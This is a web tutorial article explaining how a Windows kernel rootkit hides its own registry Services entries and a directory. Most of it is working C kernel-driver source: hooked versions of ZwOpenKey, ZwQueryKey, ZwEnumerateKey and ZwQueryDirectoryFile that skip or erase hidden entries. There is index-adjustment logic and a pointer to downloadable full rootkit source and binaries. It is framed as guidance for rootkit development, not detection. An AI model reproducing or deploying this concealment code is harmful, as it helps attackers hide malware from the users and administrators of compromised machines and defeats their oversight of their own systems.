Rootkit concealment part 1

Rootkit concealment is really a broad topic and in this and the next Rootkit concealment article I can just touch on this subject. In order to clean the traces of malware like rootkit, so many OS kernel functions and data structures need be hooked to alter. A complete solution may also require removal of installation files and the change logs that the installation has caused to be created. Here in the first part of my Rootkit concealment article I introduce methods for registry key and directory hiding. In the Rootkit concealment part 2 I explains methods of hiding the driver and process.

In my kernel hooks article I explained how to modify system descriptor table in order to place a kernel hook. In the User mode hooking article I introduce one usage of kernel hooks by manipulating a process function using ZWMapViewOfSection. Here in this article you to alter kernel function you see hooking of 4 other kernel APIs.

Registry hiding c++ source code

One of the traces a malware like rootkits leaves is in registry under the “Services” key. Services key keeps records for all the services and drivers and that are installed on the system. To hide the rootkit from the user (and the system) you must alter the OS mechanism of retrieving registry keys. In order to do that you must hook ZwOpenKey, ZwQueryKey and NewZwEnumerateKey. ZwOpenKey function opens and loads the registery key. ZwQueryKey returns the information about the key which the most useful one is the Length of its sub keys. NewZwEnumerateKey is used to get a subkey of a key. By hooking these functions and altering them we manipulate the registry retrieval mechanism so that we never return information about the hidden keys.

Registries records are essential data for OS because OS keeps all the configuration and permanent data in it. Registries are kept in a tree-like data structure i.e. there is a root key and other data are the sub keys of this root key and this continues to the end. When the user opens the registry editor and wants to see what’s in the Services key, registry editor first asks the OS to open the Services key. Then it queries the number of sub keys and after that it iterates over the length to retrieve each subkey by its index. In order to hide the key of our rootkit driver we alter the ZwQueryKey to return the number of sub keys one less than the real number and then when the registry editor asks for the index of our hidden key we return the result of next key.

To clarify the concept let’s examine an example. Suppose the Services key has 12 records under it and we want to hide two registry keys. First we tell registry editor that it has 10 records and then when it queries sub keys of this key using their indexes we return all the records except the hidden keys but doing this is a little tricky. The index of keys we want to hide could be anything so when we tell the regedit that we have 10 records it starts querying the OS kernel form index 1 to 10. Suppose the index of our hidden key is 6. If we allow regedit to query index 6 nothing is going to be hidden. Thus when the regedit asks for 6 we return 7. Suppose another hidden key is 10. Here for 10 it is a little more complex. If the regedit asks for 10 we can return 11 but what do we return when regedit asks for 9? Because we returned 7 for 6 we had to return the asked index + 1 for all other indexes after 6 because if we return for example 7 for 7 we have showed a key twice and it cause other problems! So if here we return 9 + 1=10 we unwantedly returned the info about the hidden key. Therefor we have to return 11 for 9 and then 12 for 10.

Now that you have a perspective of what is going to happen I go to details. To return those fake indexes to hide our hidden registry keys we must build a tree data structure to keep track of keys and their new indexes. The data structure is this:

// key data structures

typedef struct _KEY_HANDLE //This and the next structures are just for us to keep track of the hidden keys and return crafted values from it to the system.

{

                HANDLE               handle;

                PVOID   keyData;

                struct _KEY_HANDLE *previous;

                struct _KEY_HANDLE *next;

} KEY_HANDLE;

typedef struct _REG_KEY_DATA

{

                ULONG subkeys;

                SUBKEY_DATA* subkeyData;

} REG_KEY_DATA;

 

typedef struct _SUBKEY_DATA

{

                ULONG subkeyIndex;

                ULONG newIndex;

                struct _SUBKEY_DATA *next;

} SUBKEY_DATA;

 

To create these new indexes for the Services we hook NewZwOpenKey. We just build our tree for the “Services” subkeys but if you want to hide other keys you must build the tree data for other keys too. Remember that building such tree structure is very time consumable so being a precise as possible is really essential. As a matter of fact in rootkit development you should always do as little as required:

// create an index that skips hidden subkeys

// when the parent key is \\Services

NTSTATUS NewZwOpenKey( OUT PHANDLE KeyHandle, //In this hooked function we just create our own view of registery keys and their indexes(crafted ones to hide those keys we want) and keep it in a global variable g_keyList.

                IN ACCESS_MASK DesiredAccess,

                IN POBJECT_ATTRIBUTES ObjectAttributes )

{

    int status;

 

                status = OldZwOpenKey(

                                KeyHandle,

                                DesiredAccess,

                                ObjectAttributes );     

 

                if( status == STATUS_SUCCESS )

                {

                                // get the name of the key

                                PUNICODE_STRING pKeyName = NULL;

                                UNICODE_STRING servicesString = { 0 };

                                RtlInitUnicodeString( &servicesString, L"Services" );

                                GetKeyName( *KeyHandle, &pKeyName );

                                // create special index for the Services key                                                                                                         

                                if( pKeyName )

                                {

                                                // Using IsSameFile as IsSameKey function

                                                if( IsSameFile( &servicesString, pKeyName ) ) // Using IsSameFile because a registery name is much like a full path file name. [HKEY_LOCAL_MACHINE]\CurrentControlSet\....\Alex

                                                {

                                                                DbgPrint("comint32: found g_servicesKey");

                                                                CreateHiddenKeyIndices( *KeyHandle );

                                                }

                                                ExFreePool( pKeyName );

                                }

                }

 

                return status;

}

 

 

The CreateHiddenKeyIndices intend to build the mentioned data structure. To do that it enumerates the subkeys of the KeyHandle to see if any of the subkeys is our intended hidden keys by comparing their names to the name of our rootkit driver and two other crafted values (defined to just show the concept). If we find one of the hidden keys we mark it by filling the new index variable with realIndex + offset; If not we just set the new index equal to the real index.

// create a key list with index data that skips hidden keys

int CreateHiddenKeyIndices( HANDLE hKey )

{

                int status;

                int index = 0;

                int offset = 0;

                int visibleSubkeys = 0;

    PVOID pInfoStruct;

    ULONG infoStructSize;

    ULONG resultLength;

                KEY_HANDLE* pKeyHandle = 0;

 

                pKeyHandle = FindKeyHandle( hKey );

 

                // remove old sub key data if it exists

                if( pKeyHandle )

                                FreeKeyHandle( hKey ); //This function does not free the memory, it just removes the hKey from the g_keyList global list by changing the previous and the next pointer

                pKeyHandle = AllocateKeyHandle( hKey ); //Allocate a KEY_HANDLE structure and set the hKey for its HANDLE

               

                // size must be larger than any of the info structures

                infoStructSize = 256;

                pInfoStruct = ExAllocatePool( PagedPool, infoStructSize );

 

    if ( pInfoStruct == NULL )

        return -1;

 

                // enumerate subkeys

                for(;;) //this loops goes over all of the subkeys possible and break if status returned by ZwEnumerateKey is not success (No more sub keys)

                {

                                status = ZwEnumerateKey( //The ZwEnumerateKey routine returns information about a subkey of an open registry key

                                                                hKey, //Handle to the registry key that contains the subkeys to be enumerated

                index,  //The index of the subkey that you want information for. If the key has n subkeys, the subkeys are numbered from 0 to n-1

                KeyBasicInformation, //Specifies a KEY_INFORMATION_CLASS enumeration value that determines the type of information to be received

                pInfoStruct,  //Pointer to a caller-allocated buffer that receives the requested information

                infoStructSize, // size of buffer

                &resultLength); //Pointer to a variable that receives the size, in bytes, of the registry-key information

 

                                if( status == STATUS_SUCCESS )

                                {

                                                // Add one compare for each hidden key defined

                                                if( !wcsncmp( //Compare characters of two strings, using the current locale or a specified locale. even wide or multiple

                                                                                                ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,

                                                                                                g_key1,

                                                                                                SERVICE_KEY1_LENGTH) ||

                                                                !wcsncmp(

                                                                                                ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,

                                                                                                g_key2,

                                                                                                SERVICE_KEY2_LENGTH) ||

                                                                !wcsncmp(

                                                                                                ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,

                                                                                                g_key3,

                                                                                                SERVICE_KEY3_LENGTH) )

                                                                { //if it is one of our desired subkeys then ++ offset

                                                                                offset++;

                                                                }

                                                else

                                                                {

                                                                                visibleSubkeys++;

                                                                }

                                                AddIndices( pKeyHandle, index, (index + offset));

                                                index++;

                                }

                                else

                                {

                                                // STATUS_NO_MORE_ENTRIES

                                                break;

                                }

                }

                if( offset > 1 )

                {

                                // required if more than one sub key was found

                                AdjustIndices( pKeyHandle, offset );

                }

 

                ExFreePool( (PVOID)pInfoStruct );

               

                /* update data about this handle */

                if( pKeyHandle )

                {

                                REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));

                                if( pKeyData )

                                {

                                                pKeyData->subkeys = visibleSubkeys; //This line is important, since the effect of this line makes GetSubkeyCount in NewZwQueryKey does not reflect the hidden keys in the size

                                }

                                AddNewKeyHandle( pKeyHandle );

                }             

                return 0;

}

 

FindKeyHandle and FreeKeyHandle intend to update the previously built tree because it is possible that since the last execution it’s been modified. AllocateKeyHandle just returns a dynamically allocated KeyHandle buffer. AddIndex set the new index and AddNewKeyHandle adds this key with its subkeys to the tree. The challenging function is AdjustIndices function. After adding all the subkeys if we have had more than one hidden subkey we need to adjust the new indexes of the data structure. Because after adding the indexes of the root key to the data structure it is like Figure 1 (according to the aforementioned example at the beginning of the article):

 Rootkit concealment registry hiding

As you see we want to hide the 6 and 10 keys but 10 is still returned for the 9 key. To adjust indexes we use the codes below:

// reindex key pair list when more than one

// sub key is hidden under a single key

void AdjustIndices( KEY_HANDLE* pKeyHandle, int hiddenKeys )

{

                KeAcquireSpinLock(&g_registrySpinLock, &g_pCurrentIRQL);

 

                if(            pKeyHandle->keyData )

                {

                                REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));

                                if( pKeyData )

                                {

                                                int offset = 0;

                                                SUBKEY_DATA* pSubkeyData = pKeyData->subkeyData;

                                               

                                                // loop through indices looking for hidden keys

                                                while( pSubkeyData->next != NULL )

                                                {

                                                                if( pSubkeyData->subkeyIndex + offset != pSubkeyData->newIndex ) //goes forward till finding the first hidden key, after finding it adjusts the keys before the next hidden the key to the end

                                                                {

                                                                                hiddenKeys--;

                                                                                // adjust next hidden key

                                                                                offset++;

                                                                                pSubkeyData = AdjustNextNewIndex( pSubkeyData, offset ); //This function adjusts new indexes if there is a hidden key after this hidden key.

                                                                                offset = pSubkeyData->newIndex - pSubkeyData->subkeyIndex;

                                                                }

                                                                pSubkeyData = pSubkeyData->next;

                                                                // no need to exceed show count

                                                                if( !hiddenKeys )

                                                                                break;

                                                }

                                }

                }

                KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );

}

// increment next newIndex

SUBKEY_DATA* AdjustNextNewIndex( SUBKEY_DATA* pSubkeyData, int offset )

{

                SUBKEY_DATA* targetKey = NULL;;

 

                while( pSubkeyData->next != NULL )

                {

                                if( pSubkeyData->next->subkeyIndex + offset != pSubkeyData->next->newIndex ) //goes forward till finding the next hidden key since the offset passed to this function incremented

                                {

                                                // next key is a hidden key

                                                // so increment newIndex

                                                if( targetKey == NULL )

                                                {

                                                                targetKey = pSubkeyData;//targetKey points to the element before the next hidden key if it is null

                                                }

                                                else

                                                {

                                                                // adjust all new indices

                                                                // until next non hidden key

                                                                SUBKEY_DATA* tempKey = targetKey;

                                                                while( tempKey != pSubkeyData) //This while executes for two adjacent hidden keys

                                                                {

                                                                                tempKey->next->newIndex++;

                                                                                tempKey = tempKey->next;

                                                                }

                                                }

                                                targetKey->newIndex++;

                                                offset++;

                                }

                                else

                                {

                                                // keep incrementing newIndex

                                                // until next key is not hidden

                                                if( targetKey )

                                                                break;

                                }

                                pSubkeyData = pSubkeyData->next;

                }

                // list is now good up to target key

                return targetKey;

}

 

After the execution of the AdjustIndices function the subkeys indexes become like figure 2:

rootkit concealment registry hiding

To clarify the concept let’s execute AdjustIndexes for the aforementioned example. Ok start from index 1 to 12 and see what happens:

For 1 the system returns the first key.

For 2 the system returns the second key.

For 6 the system returns the 7th key. Ok here we hided the actual 6 by skipping it and returning the next key.

For 7 we return the 8th key (this is correct since the next key after the 7th which we had returned is 8th key)

For 9 we can’t return the 10th key. Because the 10th is also hidden, so we should return the next key after the 10th which is 11th.

For 10 we return the 12th. (12th hides the 10 as long as it is not the 10thJ!)

Remember since we have hooked NewZwQueryKey too and had returned size 10 in NewZwQueryKey, the NewZwEnumerateKey will stop at 10th so don’t worry about the 11 and 12 in our index table.

After creating new indexes we are ready to return them to the user (and system) and hide the registry keys. We hook ZwEnumerateKey and ZwQueryKey functions and replace these codes of ourselves:

// return number of subkeys from special index

// when the parent key is \\Services

NTSTATUS NewZwQueryKey( IN HANDLE KeyHandle, //This function has been hooked to return the size of subkeys of a parent key minus the hidden keys. This help us to not worry that system queries keys in our crafted list that we return indexes outside the bond

                IN KEY_INFORMATION_CLASS KeyInformationClass,

                OUT PVOID KeyInformation,

                IN ULONG Length,

                OUT PULONG ResultLength )

{

    int status;

                ULONG numberOfSubkeys = -1;

 

    status = OldZwQueryKey(

                                KeyHandle,

                                KeyInformationClass,

                                KeyInformation,

                                Length,

                                ResultLength );

   

                numberOfSubkeys = GetSubkeyCount( KeyHandle ); //Return the real size - number of hidden keys

               

                if(            (status == STATUS_SUCCESS) && (numberOfSubkeys != -1) )

                                if( KeyFullInformation == KeyInformationClass )

                                                if( KeyInformation )

                                                                ((KEY_FULL_INFORMATION*)KeyInformation)->SubKeys = numberOfSubkeys;

 

                return status;

}

 

// return special index values

// when the parent key is \\Services

NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle, //In this hooked function we manipulate the request of the caller. We never ask the system for the indexes of hidden keys

                IN ULONG Index,

                IN KEY_INFORMATION_CLASS KeyInformationClass,

                OUT PVOID KeyInformation,

                IN ULONG Length,

                OUT PULONG ResultLength )

{

    int status;

                int new_index;

 

                new_index = GetNewIndex( KeyHandle, Index ); //In new indexes we never return the index of hidden keys

 

                if( new_index != -1 )

                                Index = new_index;

 

    status = OldZwEnumerateKey( //Thus here the result we return are those invisible keys and because we also hooked NewZwQueryKey we do not worry about querying more than exists

                                KeyHandle,

                                Index,

                                KeyInformationClass,

                                KeyInformation,

                                Length,

                                ResultLength );

 

    return status;

}

 

To see the complete rootkit source code, download the sources and the compiled version (for XP SP3 gold edition) for both this and the next rootkit concealment articles. After compiling to test the registry hiding functionality open the registry editor and add SSSDriver1, SSSDriver2 keys under the Services key. Close the registry editor, load the rootkit, run and open the registry editor to see the effect

Directory hiding c++ source code

Directory hiding is much simpler than registry hiding. The only thing we need to do is to hook ZwQueryDirectoryFile and then return the results (directory listing) of parent directory without the traces of our hidden directory:

NTSTATUS NewZwQueryDirectoryFile(

                IN HANDLE hFile,

                IN HANDLE hEvent OPTIONAL,

                IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

                IN PVOID IoApcContext OPTIONAL,

                OUT PIO_STATUS_BLOCK pIoStatusBlock,

                OUT PVOID FileInformationBuffer,

                IN ULONG FileInformationBufferLength,

                IN FILE_INFORMATION_CLASS FileInfoClass,

                IN BOOLEAN bReturnOnlyOneEntry,

                IN PUNICODE_STRING PathMask OPTIONAL,

                IN BOOLEAN bRestartQuery

)

{

                NTSTATUS status;

 

                status = OldZwQueryDirectoryFile(

                                                hFile,

                                                hEvent,

                                                IoApcRoutine,

                                                IoApcContext,

                                                pIoStatusBlock,

                                                FileInformationBuffer,

                                                FileInformationBufferLength,

                                                FileInfoClass,

                                                bReturnOnlyOneEntry,

                                                PathMask,

                                                bRestartQuery);

 

                if( NT_SUCCESS( status ) && (FileInfoClass == 3) ) //Because ZwQueryDirectoryFile  is used for other purposes than querying directory

                {                             

                                BOOL isLastDirectory;

                                DirEntry* pLastDirectory = NULL;

                                DirEntry* pThisDirectory = (DirEntry*)FileInformationBuffer;

                                // for each directory entry in the list

                                do

                                {

                                                isLastDirectory = !( pThisDirectory->dwLenToNext );

                                               

                                                // compare with g_hiddenDirectoryName

                                                if( RtlCompareMemory( (PVOID)&pThisDirectory->suName[ 0 ], //Compares two blocks of memory starting from the first and second parameter, returns the number of bytes that match. In case it is the HIDDEN_DIR_NAME_LENGTH, it means two strings are equal.

                                                                (PVOID)&g_hiddenDirectoryName[ 0 ],

                                                                HIDDEN_DIR_NAME_LENGTH ) == HIDDEN_DIR_NAME_LENGTH )

                                                {

                                                                if( isLastDirectory )

                                                                {

                                                                                // return STATUS_NO_MORE_FILES if the hidden

                                                                                // directory is the only directory in the list

                                                                                // else set the previous directory to end-of-list

                                                                                // if hidden directory is at the end of the list

                                                                                if( pThisDirectory == (DirEntry*)FileInformationBuffer )

                                                                                                status = 0x80000006;

                                                                                else

                                                                                                pLastDirectory->dwLenToNext = 0; //dwLenToNext shows the length of its element except the last element. It does not cause any harms in finding the next directory since we will use the dwLenToNext in lines 396 and 397 when it has a value and after that in the next iteration the value will become zero

                                                                                break;

                                                                }

                                                                else

                                                                {

                                                                                // copy remainder of directory list into this location

                                                                                // to eliminate this directory entry from the list

                                                                                int offset = ((ULONG)pThisDirectory) - (ULONG)FileInformationBuffer; //Offset to the found entry (the directory we want to hide)

                                                                                int size = (DWORD)FileInformationBufferLength - offset - pThisDirectory->dwLenToNext; // Subtracting the offset to the directory and the length of directoty gives us the length of remaining bytes

                                                                                RtlCopyMemory( (PVOID)pThisDirectory, //We copy bytes after the directory (to the end), to the place of directory so removing the directory data

                                                                                                (PVOID)((char*)pThisDirectory + pThisDirectory->dwLenToNext ),

                                                                                                (DWORD)size );

                                                                                continue;

                                                                }

                                                }

                                                pLastDirectory = pThisDirectory;

                                                pThisDirectory = (DirEntry*)((char *)pThisDirectory + pThisDirectory->dwLenToNext );

                                } while( !isLastDirectory );

                }

 

                return( status );

}

 

To achieve directory hiding we follow three logics. First if the FileInformationBuffer returned by original ZwQueryDirectoryFile contains only our directory we return “status = 0x80000006”. It means directory has no contents. Second if the parent directory contains our hidden directory in addition to other directories and our hidden directory is the last element we just remove it from FileInformationBuffer. Third if FileInformationBuffer contains our hidden directory but it is not the last element we remove our hidden directory by overwriting the elements after it on it.

Read 599 times Last modified on Thursday, 04 June 2015 15:19
Rate this item
0
(0 votes)
About Author
Leave a comment

Make sure you enter the (*) required information where indicated. HTML code is not allowed.

Advanced Programming Concepts
News Letter

Subscribe our Email News Letter to get Instant Update at anytime